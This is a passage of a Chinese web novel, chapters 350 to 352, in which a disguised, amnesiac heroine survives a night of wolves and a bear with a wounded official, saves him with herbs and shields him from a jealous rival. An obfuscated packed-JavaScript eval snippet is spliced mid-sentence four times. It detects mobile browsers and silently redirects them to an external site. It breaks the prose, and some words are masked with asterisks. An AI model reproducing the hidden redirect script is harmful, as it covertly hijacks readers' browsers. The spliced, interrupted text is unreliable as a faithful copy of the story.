突然,脚下一空,她踩到一块松动的石子,整个人往前扑去。 萧凌川反应极快,反手将她捞回怀里。 “蠢货,眼睛长哪了?!”他骂得毫不留情,气息却乱得像拉风箱。 姜姝宁撞在他胸口,闻到浓重的血腥味,心口像被针扎了下。 “对不住……”她低声嘟囔,喉咙发紧。 自己简直就是个拖油瓶。 抬头一瞥,他脸色白得像纸,额角冷汗直淌。 身后吼声逼近,夹杂着树枝断裂的脆响。 姜姝宁心慌得要命,脑子里乱成一团。 萧凌川现在的伤势,还能撑多久? 怎么办? 跑下去必死无疑! 她咬牙,猛地拽住他:“大人,往侧边林子里钻!熊块头大,钻不进去!” 萧凌川眸光一闪,扫了眼旁边的密林,拽着她就拐了方向。 灌木丛刺得胳膊生疼,可两人顾不上,硬生生挤进去。 林中枝叶茂密,遮得月光都透不进来。 姜姝宁屏住呼吸,缩在萧凌川身侧,耳边只剩自己的心跳声。 那低吼还在,近得让人脊背发凉。 萧凌川一手按住她肩膀,另一手握紧腰间的佩刀,刀锋在暗中闪着寒光。 姜姝宁缩着脖子,偷偷瞄他一眼。 他眼底满是阴鸷,嘴唇紧抿,像是随时会扑出去拼命。 她心头一酸,忍不住扯他衣角,低声提醒:“别硬来,你伤成这样……” “聒噪!”他低斥,斜睨她一眼,眼神冷得像冰碴子。 可他按在她肩上的手,却不自觉收紧几分。 吼声在林外徘徊,姜姝宁大气不敢出,汗水滑进眼里,刺得生疼。 她死死盯着萧凌川,怕他真不管不顾冲出去。 那头庞然大物尝试几次钻入密林中,每一次都伴随着树枝断裂的脆响和狂躁的嘶吼,仿佛要将这片庇护他们的密林夷为平地。 然而,这片盘根错节的林子终究成了它无法逾越的屏障。 在几声不甘的咆哮后,那沉重如擂鼓的脚步声终于缓缓远去,最终彻底消散在死寂的夜色里。 姜姝宁松口气,腿一软,差点瘫坐下去。 萧凌川却没动,依旧紧绷着,刀握得指节泛白。 姜姝宁小声嘀咕:“走了吧……应该安全了?” 他没吭声,只扫她一眼,眼底晦暗不明。 姜姝宁被看得心虚,挪开视线,假装去拨弄旁边的草叶。 “别动!”他突然低喝,手猛地按住她胳膊。 姜姝宁一愣,顺着他视线看去,差点没尖叫出声。 不远处,一双双绿幽幽的眼睛正盯着这边,狼群居然又跟来了! 她头皮炸开,手心瞬间冰凉。 “怎么办……”她声音发颤,牙齿都在打战。 萧凌川冷哼,缓缓抽出刀,动作慢却稳。 “别出声。”他语气冷淡,可护在她身前的手臂,却像铁杠般不动分毫。 狼群低吼着逼近,眼中绿光闪烁,像是暗夜里的鬼火。 姜姝宁缩在他身后,抓紧他衣摆,手抖得像筛糠。 死亡的恐惧扼住了她的喉咙,让她发不出半点声音。 萧凌川缓缓蹲下身子,将还在渗着血的后背对着她,低声丢句:“抱紧我,别乱动!” 她一愣,还没反应过来,他已猛地将她拉到背上,背着她朝林子深处冲。 狼群立马紧追不舍。 姜姝宁死死抱住他,脸埋在他背上,只觉他每一步都重得像砸在地上。 “大人,你放我下来吧……”她哽着嗓子喊,声音被风吹散。 萧凌川背脊一僵,步伐却更快了。 “少废话!”他咬牙,低吼声里满是怒气,“我绝不会丢下你!” 从前不会,以后更不会! 姜姝宁眼眶一热,咬唇不吭声了。 她能感觉到,他背上的伤口又裂开了,温热的血浸湿她手掌。 心口像被什么堵住,酸得发胀。 她低头,偷偷抹了把眼角,硬是没让泪掉下来。 林子深处越发暗,狼群却没退,依旧紧咬不放。 萧凌川脚步越来越沉,气息也乱得不行。 姜姝宁心急如焚,脑子里飞快转着主意。 突然,她瞥见旁边一棵大树,枝干粗壮,能藏人。 “大人,上树!”她急喊,手指向那棵树。 萧凌川眯眼一看,没多说,立马改变方向。 到了树下,他半蹲,低声命令:“爬上去,快!” 姜姝宁咬牙,手脚并用,硬撑着爬上低枝。 她回头想拉他,却见他挥刀砍向扑来的狼,刀光一闪,血腥味骤浓。 被刀锋划开皮肉的恶狼发出一声撕心裂肺的惨嚎,这突如其来的血腥与剧痛,瞬间震慑住了整个狼群。 它们前冲的势头猛然一滞,纷纷退后半步,喉咙里发出饱含忌惮的低沉呜咽。 姜姝宁心跳一滞,急喊:“大人!” “别管我!”他头也不回,声音冷硬,刀却挥得毫不留情。 狼群被逼退几步,却越发凶狠,围着他低吼。 姜姝宁手心全是汗,眼睁睁看他被围在中间,心急得像火烧。 一个血淋淋的人,哪里是一群狼的对手? 她急中生智,猛地撕开自己上衣沾染了鲜血的布料,往树下扔。 动作力道太大,整个人险些从湿滑的树杈上栽下去! 狼群果然被血腥味吸引,几头饿狼立刻调转方向,朝着布料落地的方位猛扑过去。 萧凌川趁狼群分神,迅速爬上树,几个迅捷的攀附,便稳稳落在了她身旁的树杈上。 “谁让你自作主张的?不要命了!”来到姜姝宁身边,他嗓音嘶哑地冲她怒吼,眼底却闪过一抹慌乱。 就在方才她身形摇晃、险些坠落的那一刹那,他的心脏仿佛被一只无形的大手攥停,四肢百骸都被彻骨的寒意瞬间侵占。 他毫不怀疑,倘若她真有不测,自己会就此彻底疯魔,堕入万劫不复的地狱。 姜姝宁硬挤出笑:“民女……想帮大人嘛!” “下次别再冒这种险,就算你不这样做,我也会想办法脱身的!” 萧凌川靠在她身旁,喘息粗重,刀还握在手里,血顺着刀刃滴落,啪嗒一声砸在树下。 狼群在树下徘徊,低吼声此起彼伏,像锯子刮着耳膜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380636|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜姝宁咬紧牙,强压住心底的慌乱,偷瞄萧凌川一眼。 他的侧脸绷得像块石头,汗水混着血迹滑下,淌进衣领。 “你……伤口还好吗?”她声音压低,怕惊扰了下面的狼。 萧凌川没看她,眼神死死锁住树下的狼群。 “别瞎操心,省点力气。”语气冷得像冰碴子,刺得她心口一缩。 她撇撇嘴,咽下想顶回去的话。 手掌还黏着他的血,温热又腥气,提醒她他方才护她时的模样。 她心乱如麻,忍不住低头瞅自己的手——血迹糊了一片,像涂了层红漆。 人流那么多血,当真会没事吗? 树下的狼群突然躁动起来,一只头狼仰头长嚎,声音尖利得像刀子划破夜空。 姜姝宁身子一颤,差点没抓稳树枝。 萧凌川眼疾手快,猛地拽住她胳膊,力道大得她手臂一麻。 “稳住!”他低喝,眼神扫过她,带着几分紧张。 她点点头,心跳快得像擂鼓,强迫自己盯着树下。 狼群开始围着树打转,有的身子猛地向上一蹿,试图攀上树干,锋利的爪子在粗糙的树皮上划过,发出一连串令人牙酸的刮擦声,在死寂的夜里显得无比清晰。 “大人,狼……会爬树?”她声音发紧,手指不自觉攥紧他的袖子。 萧凌川皱眉,瞥了眼树下的狼群。 “不会,但饿急了,谁知道它们能干出什么。” 他语气沉沉,透着股压抑的戾气。 姜姝宁心一沉,咬咬牙,壮着胆子往下看。 头狼的绿眼睛正盯着她,像两盏鬼火,阴森森地晃。 她头皮一麻,强压住尖叫的冲动。 “要不……我再扔些东西下去?”她试探着问,声音抖得像风里的树叶。 萧凌川斜她一眼,眼神像刀子刮过来。 “你还想把自个儿扔下去不成?”他语气凶狠,带着点咬牙切齿的味道。 姜姝宁缩了缩脖子,讪讪闭嘴。 树下的狼群越聚越多,七八只狼围着树干打转,偶尔撞一下树,震得树枝晃悠。姜姝宁抓紧树枝,指甲都快嵌进树皮里。 她偷瞄萧凌川,见他眉头紧锁,嘴唇抿成一条直线,手里的刀握得更紧。 “大人,你说……咱们能熬到天亮吗?”她声音低得像自言自语,带着点连自己都不信的侥幸。 萧凌川没答,沉默得像块冰冷的石头。 过了半晌,他才语气生硬道:“熬不到天亮,也得熬。” 姜姝宁心口一紧,鼻子莫名酸了。 她咬唇,硬是没让眼泪掉下来。 她不想死,她想活着回去见她的小邺君。 劫后余生的剧烈喘息尚未平复,姜姝宁却猛然察觉到一丝诡异的死寂。 身边那个刚刚还用怒吼包裹着紧张的男人,此刻安静得可怕。 “大人?”她心头一跳,试探着唤了一声,声音里带着自己都未察觉的颤抖。 没有回应。 她慌忙伸出手去,指尖颤巍巍地探向他的脸颊。 触手所及,是一片冰凉,唯有额角滑落的冷汗带着一丝湿意。 借着稀疏的月光,她看到他靠着粗糙的树干,双目紧闭,往日里那张冷峻凌厉的脸上血色尽褪,只剩下一片惨白,脆弱得仿佛下一秒就会碎裂。 她的心瞬间沉到了谷底——他失血过多,撑不住,晕死过去了! 第350章 他为她承受的痛苦 第三百五十章他为她承受的痛苦 姜姝宁此时脑子里只有一个念头——得尽快帮他止血! 否则,就算他是铁打的身子,也未必撑得过去。 时间在分秒的煎熬中爬行,好不容易,东方的天际泛起一丝鱼肚白,林间的雾气染上微光,树底下那群围困了他们一夜的饿狼,这才不甘地发出一阵低低的呜咽,三三两两地退回了密林深处。 总算安全了。 姜姝宁一刻也不敢耽搁。 她忍着手臂的酸麻,解下萧凌川身上的腰带,又“刺啦”一声,撕下自己裙摆上一条又长又宽的布料。 她将布条和腰带用死结连在一起,然后费力地绕过萧凌川的身体和粗壮的树干,将他牢牢固定住,确保他不会因为突然惊醒或身体滑脱而坠落。 做完这一切,她已经出了一身冷汗。 她看了一眼被绑在树上、面无血色的男人,咬了咬牙,从他手中将那把沾满狼血和人血的**抽了出来。 她用嘴叼着**,两手抱着树干,开始一点点往下爬。 树干粗糙,满是尖刺,每动一下,都像有无数根针扎进她的掌心和膝盖。 可她顾不上疼,满心只有一个念头——找到止血的圣药。 南朔的野林子里有一种名为“龙血茧”的珍贵草药,通体紫蓝,据说有奇效,无论内服外敷,都能迅速止血。 她必须找到它! 她一边走,一边用**在沿途的树干上刻下歪歪扭扭的记号,以免自己找不到回去的路。 晨光熹微,林中雾气潮湿,脚下的枯叶发出“沙沙”的声响,周围安静得只听得见她自己的心跳和喘息。 功夫不负有心人。 就在她快要绝望时,看到不远处的灌木里隐隐露出一点点紫蓝色。 她精神一振,拨开面前的灌木,一个宁静的湖泊赫然出现在眼前。 而在湖泊边湿润的泥地上,几株形态奇特的紫蓝色植物正迎着晨光,叶片上还挂着晶莹的露珠。 是龙血茧! 姜姝宁几乎要喜极而泣,她连滚带爬地冲到湖泊边,小心翼翼地将那两株救命的草药连根拔起,用撕下的另一块裙布仔细包好,兜在怀里,像捧着绝世珍宝。 她站在湖泊浅水处,捧起清冽的水痛饮了几口。 随即掏出随身带着的帕子,在水里洗净,故意不拧干,湿漉漉地叠好,准备带回去给萧凌川润润他干裂的嘴唇。 就在她起身,准备循着记号回去的那一刻,眼角的余光瞥见不远处站着一个人影。 一个清瘦的陌生男人。 她眼前一亮,正准备向那人求救,那男人忽然朝她走近几步,脸上露出狂喜的表情:“阿宁!” 这声音…… 姜姝宁愣住了。 是易容后的姜天泽! “天泽!”她又惊又喜,几乎不敢相信自己的眼睛,“你怎么会在这里?你来得正好,景大人他……” 她的话还没说完,姜天泽已经三步并作两步冲到她面前,一把攥住她的手腕,力道大得让她吃痛。 “快,和我走!”他的声音压得很低,却透着一股不容置喙的急切。 “可是,景大人他……”姜姝宁被他拽得一个趔趄,急切想让他帮忙。 “别管什么景大人了!”姜天泽神色紧绷,眼神锐利地扫过四周,仿佛周围的空气里都藏着敌人,“我们现在必须马上离开南朔!迟则生变!” “不行!”姜姝宁用力挣开他的手,“景大人为了救我受了重伤,现在还昏迷着,我不能把他一个人扔在这里!我要回去救他!” 姜天泽的脸色瞬间阴沉下来,看着她的眼神里满是失望与被刺痛的恼怒。 “阿宁,”他的声音都冷了下来,“我千辛万苦才找到你,你竟要为了一个……” 他后面的话没说出口,但嫉妒与独占欲已像毒蛇般,死死缠住了他的心脏,几乎要将他的理智啃噬殆尽。 再一次回到萧凌川身边?他绝不允许! 他的手缓缓探入袖中,冰冷的指尖触碰到那个小小的瓷瓶,一丝狠戾的决绝在他眼底闪过。 他不能再由着她任性了。 这一次,哪怕用最强硬的手段,他也必须把她带走! 就在他准备动手的刹那,身后不远处的密林里,忽然传来一阵沉闷而暴躁的嘶吼声。 两人同时一惊,猛地回头。 只见一头身形庞大如小山般的黑熊,人立而起,一双小眼睛里闪烁着凶残的光芒,直勾勾地盯着他们。 姜天泽暗骂一声,下意识地将袖中的粉末朝着黑熊的方向用力一撒。 那只是分量很轻的**,本是为姜姝宁准备的,撒在熊的身上,显然不足以立刻将它放倒,反而像是在挑衅。 “吼——!” 黑熊被那古怪的气味激怒,发出一声震耳欲聋的咆哮,庞大的身躯轰然落地,四肢并用,疯了一样朝他冲了过来,沿途的灌木被它撞得东倒西歪。 “该死!” 姜天泽脸色煞白,连忙扭头冲着早已吓呆的姜姝宁吼道:“阿宁,快跑!我来应付它!” 说完,他迅速从怀里掏出另一个掌心大小的药包,迎着冲过来的黑熊,将一整包带着刺鼻气味的毒粉全都撒了出去。 这一次的分量足够了。 黑熊发出一声凄厉的嚎叫,像是被什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380637|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西灼伤了眼睛和鼻子,它疯狂地用熊掌拍打自己的头脸,调转方向,一边嚎叫一边抱头鼠窜,很快就消失在了林子深处。 腥风散去,林间只剩下被撞断的树枝和一片狼藉。 姜天泽剧烈地喘息着,这才心有余悸地回过头,想去找姜姝宁。 然而,他一回头,身后空空如也。 湖泊边哪里还有姜姝宁的影子。 “阿宁?”他心头一紧,大声喊道,“阿宁!你去哪了!” 回答他的,只有林间寂静的风声。 姜姝宁心跳如擂鼓,脚下步伐踉跄,手中紧紧攥着那两株“龙血茧”。 她脑子里只有一个念头——快跑,回去救萧凌川! 林子里灌木丛密密麻麻,枝杈像尖爪子划过她手臂,刺痛钻心。 她咬紧牙关,不管不顾往前冲,裙摆被挂破了好几处,露出的小腿上满是细密血痕。 跑了不知多久,她喘着粗气,终于瞧见远处那棵大树,树干上绑着的那抹身影让她眼眶一热。 萧凌川还靠在那,脸色白得像纸,毫无生气。 “大人,我回来了!”她哑着嗓子喊,快步爬上树,粗糙的树干划破了她的掌心,血顺着指缝滴落,她却顾不上疼。 到了萧凌川身旁,她手忙脚乱解开裙摆,把“龙血茧”掏出来。 紫蓝色草叶在她掌心微微颤动,如同一抹微弱希望。 她解开他的衣襟,眼前的一幕让她心口猛地一窒。 他苍白的胸膛上,伤口纵横交错,皮肉翻卷,新的血珠正不断从里面渗出,每一道都像是在无声地诉说着他为她承受的痛苦。 她不忍心再细看,将一株“龙血茧”在掌心碾碎,按在他最深的那道伤口上。 另一株则被她揉烂,送到他毫无血色的唇边。 可他无知无觉,自然也无法将草药吞咽下去。 “大人,快吃下去啊……”她低声哀求,见他没有半点生气的模样,眼泪还是没忍住,汹涌而出。 她猛然想起那方湿帕子,连忙掏出,用尽力气拧着那帕子,将水分挤进他的唇缝。 他的喉结艰难地滚动了一下,本能地咽下那点湿润。 姜姝宁心中一喜,连忙将“龙血茧”的汁液也用同样的方法挤进他嘴里。 但仅仅几滴药汁,对于这样重的伤势,不过是杯水车薪。 她尝试掐他的人中,却始终唤不醒他。 姜姝宁心一横,把剩下的药草残渣尽数含入口中,然后……颤抖着贴上了他冰凉的唇。 而就在她柔软的唇瓣贴上他唇角,试图将药渡过去的那一刹那——一双沉黑如墨的眸子,毫无预兆地,睁开了。 第351章 他绝不容许她和萧凌川再有任何牵绊! 第三百五十一章他绝不容许她和萧凌川再有任何牵绊! 姜姝宁像是被烫到一般,上半身猛地向后一缩。 唇上仿佛还残留着他冰凉的触感,混杂着草药的苦涩,那感觉一路烧灼到她心底,让她整张脸都滚烫起来。 她脑子一片空白,语无伦次地解释:“我……我不是故意的,我只是想给你喂药……” 话没说完,她就对上了萧凌川的眼睛。 那双平日里锐利如鹰隼的眸子,此刻却蒙着一层水汽,眼神涣散,根本没有聚焦。他定定看着她,或者说,是透过她,看着某个遥远模糊的影子。 他的目光那么迷离,那么温柔,像是看到了失而复得的珍宝。 “姝宁……”他干裂的嘴唇翕动,吐出的字眼轻得像一声叹息,“你没有丢下我,真好……” 话音刚落,他眼里的光便彻底熄灭,眼皮沉重地合上,整个人再度陷入无知无觉的昏迷。 姜姝宁整个人都僵住了。 时间仿佛在这一刻凝固,林间的风声,叶片的沙沙声,全都离她远去。 她脑海里只剩下那两个字。 姝宁? 姝宁是谁? 她努力在自己空荡荡的记忆里搜寻,却只是徒劳无功。 他……把她当成谁了? 一股难以言喻的酸涩猛地涌上心头,像是有人往她心口里灌了一整壶的陈醋,又酸又涩,呛得她眼眶发热。 原来,无论是衙门里不惜自残的偏执,还是坠崖时奋不顾身的相护,他所有惊心动魄的付出,都只是因为她这张易容后的脸,恰好像他心里的那个人? 搞了半天,她不过是个可笑的赝品,一个聊以慰藉的替身。 这个认知像一根淬了毒的尖刺,狠狠扎进她的心脏。 姜姝宁的心情乱成一团麻。 如果真的是这样,那等她脸上的易容褪去,恢复了本来的面目,他是不是就会立刻收回所有的温柔,用看陌生人的眼神看她? 到时候,她又该如何自处? 片刻后,她用力摇了摇头,把这些乱七八糟的念头都甩出去。 现在想这些有什么用!他快要**! 眼下,救活他才是最重要的! 心底那点自怨自艾的酸楚被更强烈的恐慌和心疼取代。 她强压下心头的羞耻与窘迫,低下头,再一次将自己温热的唇贴上他冰凉的唇瓣。 这一次,她没有丝毫旖旎的心思,只剩下救人的急切。 她笨拙地用舌尖将那些苦涩的药草一点点渡进他的口中,直到确认他本能地咽了下去,才狼狈地退开。 “龙血茧”不愧是疗伤圣药。 不过片刻功夫,萧凌川胸前那些狰狞可怖的伤口,渗血的速度明显慢了下来,最后渐渐凝固。 姜姝宁长舒一口气,紧绷的神经稍稍放松。 然而,旧的问题刚解决,新的麻烦接踵而至。 她感觉到他身上的温度在急剧升高,烫得吓人。 他发起了高烧。 也是,他胸口的旧伤本就被他自己反复撕裂,之后又抱着她在山崖上滚了那么一圈,新伤旧伤叠在一起,能撑到现在已经是奇迹。 她不敢去想,他这副身子到底遭了多大的罪。 一想到他抱着她滚下山崖时,毫不犹豫将她护在怀里的情景,姜姝宁心底那点因“替身”而起的酸涩,便彻底被一种不可言喻的、汹涌的心疼所淹没。 管他心里装着谁,管她是不是替身,他救了她的命,这是不争的事实。 她不能眼睁睁看着他死。 姜姝宁不再犹豫,利落地解开自己的外衫,将那件还带着她体温的衣服盖在他身上。 清晨山里的带着寒意,她只着一件单薄的里衣,冷得打了个哆嗦,却只是下意识地抱紧了双臂。 她为他按压大椎穴、合谷穴和十宣穴,试图用这种方式,缓解高烧对他身体的伤害。 高烧让萧凌川双颊染上不正常的绯红,汗水浸湿了他额角的碎发,紧贴在光洁的额头上。 平日里那股生人勿近的冷冽气场消散得一干二净,只剩下脆弱与不堪一击。 他浓黑的睫毛在眼下投出一片阴影,紧抿的薄唇失了血色,整个人在朦胧的晨光下,竟透出一股令人心神摇曳的靡丽。 姜姝宁目光不由自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387320|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主地描摹着他的眉眼。 她忍不住想,能让这样一个惊才绝艳、位高权重的男子念念不忘的“姝宁”,该是怎样一个风华绝代的女子呢? 想来,必定是出身高贵,才貌双全,一颦一笑都能倾倒众生的金枝玉叶吧。 而绝非她这样,一个出生卑微、连身份都是假的女子。 姜姝宁自嘲地弯了弯嘴角,收回了手。 就在这时,不远处的林子里传来一阵悉悉索索的脚步声。 她心中一凛,警惕地望过去,正对上一双阴沉得能滴出水的眼睛。 是姜天泽。 看到他完好无损地站在那里,姜姝宁顿时松了口气。 方才情况紧急,她一心只想着赶回来救萧凌川,根本顾不上他,此刻想来,不免有些愧疚。 此时的姜天泽脸色难看到了极点。 他的目光像两把淬了冰的刀子,死死钉在树干上的两个人身上。 姜姝宁靠在萧凌川身侧,身上只穿着一件单薄的里衣,而她的外衫,正妥帖地盖在萧凌川的身上。 姜天泽只觉得一股邪火“轰”地一下从脚底直冲天灵盖,烧得他四肢百骸都在疼。 他明明喊了让她快跑,她却一声不吭地跑去找萧凌川。 在衙门那短短几日,萧凌川到底对她灌了什么**汤? 竟然让她一个失忆的人,在他和萧凌川之间,毫不犹豫地、义无反顾地选择了后者! 妒火混杂着暴怒,在姜天泽的胸腔里疯狂燃烧,几乎要将他的理智焚烧殆尽。 他一步一步,踩着枯枝败叶,缓缓向那棵大树走去。 他绝不容许她和萧凌川再有任何牵绊! 随着姜天泽的步步靠近,姜姝宁看到了他眼中一览无遗的杀意。 见他长剑出鞘,森冷的寒光在林间一闪而过,直指树上昏迷不醒的萧凌川。 姜天泽蓄势待发,便要纵身跃起。 那一瞬间,姜姝宁的脑海一片空白,身体已经先于理智做出了反应。 她猛地张开双臂,用自己单薄的身躯,死死挡在了萧凌川的身前。 “天泽,不要伤害他!” 第352章 姜天泽的杀意 第三百五十二章姜天泽的杀意 姜天泽握剑的手腕微微一颤,剑尖的寒芒因姜姝宁的阻拦而飘忽不定。 他死死盯着她,那双总是盛满温柔的眼眸,此刻却被一种她看不懂的疯狂和恨意所吞噬,像一头被逼入绝境的野兽。 “阿宁,让开!”他的声音嘶哑,每个字都像是从喉咙深处挤出来的,“今日我定要取了他的性命!” 姜姝宁惊恐地摇着头,将身旁的人护得更紧。 她不明白,姜天泽这份浓烈的恨意从何而来。 难道就因为她不肯跟他走,他就把所有的怨气都宣泄在景大人身上? 景大人何其无辜,他甚至还救了她! “天泽,你冷静一点!你看看他,他伤得很重,快要**!”姜姝宁的声音发着抖,几乎是在哀求,“我不能让你杀他,他是我的救命恩人!” 姜天泽俊逸的脸庞扭曲得有些可怖。 他目光越过姜姝宁的肩膀,落在依旧昏迷不醒的萧凌川身上,那眼神里的恨,几乎要凝成实质,将萧凌川千刀万剐。 就是这个男人,害**他的生父,还抢走了他的心上人! 新仇旧恨,如同翻江倒海的巨浪,在他的胸腔里疯狂咆哮。 若不趁他现在毫无反抗之力,一剑结果了他,等他恢复过来,凭借他的权势和手段,自己恐怕再无机会。 这个祸害,绝不能留! “阿宁,”他一字一句,像是从牙缝里挤出来的,“就算你怨恨我也罢,今日,他必须死在我手里!” 话音未落,他俊逸的脸上浮起一抹狰狞的杀意。 姜姝宁心头警铃大作,正要开口,却见他手腕一翻,一团白色的粉末便朝着她的面门撒了过来。 一股异样的甜香瞬间窜入鼻腔,她的脑袋嗡地一下,天旋地转,眼前的景象开始变得模糊。 最后的意识里,她只看到姜天泽那张写满了杀意与决绝的脸。 姜天泽眼疾手快地接住她软倒的身体。 他将她安置在大树底下,脱下自己的外袍盖在她身上,确保她不会受凉。 做完这一切,他才重新站起身,脸上那点残存的温情瞬间褪得一干二净。 他提着剑,一寸寸逼近毫无防备的萧凌川,眼底的恨意几乎要喷薄而出。 **吧! 他高高举起长剑,用尽全身的力气,朝着萧凌川的心口猛地刺下! “当——!” 一声清脆的金石交击声划破了林间的死寂。 预想中利刃入肉的声音没有传来,反倒是自己的手腕被一股巨大的力道震得发麻。 姜天泽定睛一看,一柄寒光闪闪的长剑,正死死抵住了他的剑刃。 握着长剑的,正是凌芜。 她神色冷若冰霜,眼神里满是毫不掩饰的鄙夷与杀气。 “三少爷,趁着王爷受伤昏迷就准备下死手,这种背后捅刀子的手段,这可不是君子所为啊!” 姜天泽的脸色瞬间难看到了极点,他咬牙切齿地开口:“凌芜,你果然没有中蛊!” 难怪那夜她去了衙门之后,他们会遭遇衙门官兵的埋伏。 原来,她从始至终都在演戏! 凌芜发出一声不屑的冷笑,手腕用力,将他的剑推开半分。 “三少爷就只会这点上不得台面的手段吗?”她讥讽地勾起嘴角,“行事如此阴险毒辣,手段更谈不上不光明磊落,难怪我们王妃瞧不上你了!” 这话像是一把淬了毒的刀,狠狠扎进了姜天泽的心里。 “闭嘴!”他像是被触碰到了逆鳞的野兽,瞬间暴怒,“我和阿宁的事,哪里轮得到你一个下人来置喙!” 怒吼声中,他左手猛地一扬,将一把朱红色的粉末朝着凌芜的面门劈头盖脸地撒了过去! 这一次的动作又快又急,两人距离又近,凌芜根本来不及躲闪。 她只觉得双眼传来一阵火烧火燎的剧痛,视线瞬间被一片黑暗吞噬。 “啊!”她痛呼一声,下意识地捂住了眼睛,身体踉跄着后退。 姜天泽见状,眼中杀机再起,正欲趁此机会一剑了结了萧凌川。 就在这时,林子外传来一阵急促而密集的马蹄声和脚步声。 紧接着,一大群手持刀枪、杀气腾腾的官兵如潮水般从四面八方涌入,刀光剑影在晨雾中闪烁,瞬间将他围得密不透风。 姜天泽心头猛地一沉,像是坠入无底深渊。 他孤身一人,面对这如狼似虎的官兵,没有半点胜算。 一股滔天的不甘与怨毒涌上心头,他死死攥住剑柄,指节因为用力而根根泛白。 他怨毒地瞪了萧凌川一眼,下一瞬,他猛地一扬手,一把**粉末朝离他最近的官兵迎面撒去。 那些官兵猝不及防,纷纷捂眼踉跄,阵型登时一片混乱。 他趁乱足尖一点,身形如鬼魅般向后掠去,几个起落便消失在了茂密的丛林深处。 —— 姜姝宁悠悠转醒时,发现自己已经在衙门的厢房里了。 身上的伤口传来阵阵钝痛,提醒着她在密林中经历的一切。 她动了动,发现身上的血衣早已被换下,换上了一套干净柔软的细棉中衣,连伤口都已经被细心处理包扎过。 一声婴孩哭闹的声音让她彻底清醒过来。 姜姝宁猛地转头,正对上一双通红的、噙满泪水的大眼睛。 小邺君正被乳母抱在怀里,小身子拼命朝她的方向挣扎,两只藕节似的白嫩小胳膊直直伸向她,嘴里委屈且急切地喊着:“抱……抱……” 乳母见姜姝宁醒了,脸上顿时露出欣慰的神情:“姜女医,你可算是醒了!你再不醒,我们这几个大人可真要被这小祖宗给折腾散架了!” 她一边哄着怀里扭动不休的小邺君,一边压低声音诉苦,“你没回来的这两日,小公子不肯好好吃奶,谁抱都哭,嗓子都快哭哑了!我们几个是真没辙了!” 看着儿子哭得红肿的眼睛和委屈巴巴的小脸,姜姝宁的心像是被一只大手紧紧攥住,又酸又疼。 她撑着酸软的身体坐起来,对乳母伸出手:“把他给我吧。” 小邺君一到她怀里,立刻像找到了避风港的小船,小脑袋死死埋进她颈窝里,小手紧紧揪着她的衣襟,仿佛生怕她再消失不见。 姜姝宁轻轻拍着他的背,心头那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387321|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块最柔软的地方被儿子的依赖填满。 不过片刻,她便陡然想起失去意识之前,姜天泽准备对伤痕累累的萧凌川下手。 “景大人呢?”她的声音不受控制地带上了一丝急切与颤抖,“他怎么样了?” 乳母脸上的笑意僵住了,眼神躲闪起来:“大人他……他身上的伤,实在是太重了。副将带人找到你们的时候,大人还差点遭人毒手。虽然最后被救下来,可他实在失血太多了,直到现在还没醒。大夫已经在里头瞧了半天了,就怕……” 她话说到一半,便说不下去了,只是一个劲儿地摇头叹气。 姜姝宁的心瞬间沉入谷底。 她顾不上怀里刚刚安稳下来的小邺君,将他塞回乳母怀里,抓起榻边的一件外衣披在身上,连鞋都来不及穿好,便跌跌撞撞地冲了出去。 萧凌川的房间就在隔壁。 她一把推开那扇沉重的木门,浓郁的血腥气和药味扑面而来,呛得她喉咙发紧。 只见萧凌川双目紧闭,面如金纸地躺在床上,嘴唇没有一丝血色。 他身上缠着厚厚的绷带,即便如此,依旧有暗红的血迹从绷带下隐隐渗出,触目惊心。 床边坐着一个头发花白、仙风道骨的老者,正三指搭在他的手腕上,闭目凝神。 “大夫!”姜姝宁冲到床边,低声问,“大人的情况如何?” 孙神医闻声睁开眼,浑浊的眸子在她易容过的脸上扫过,瞬间猜到了她的身份。这应该便是易容后的王妃了。 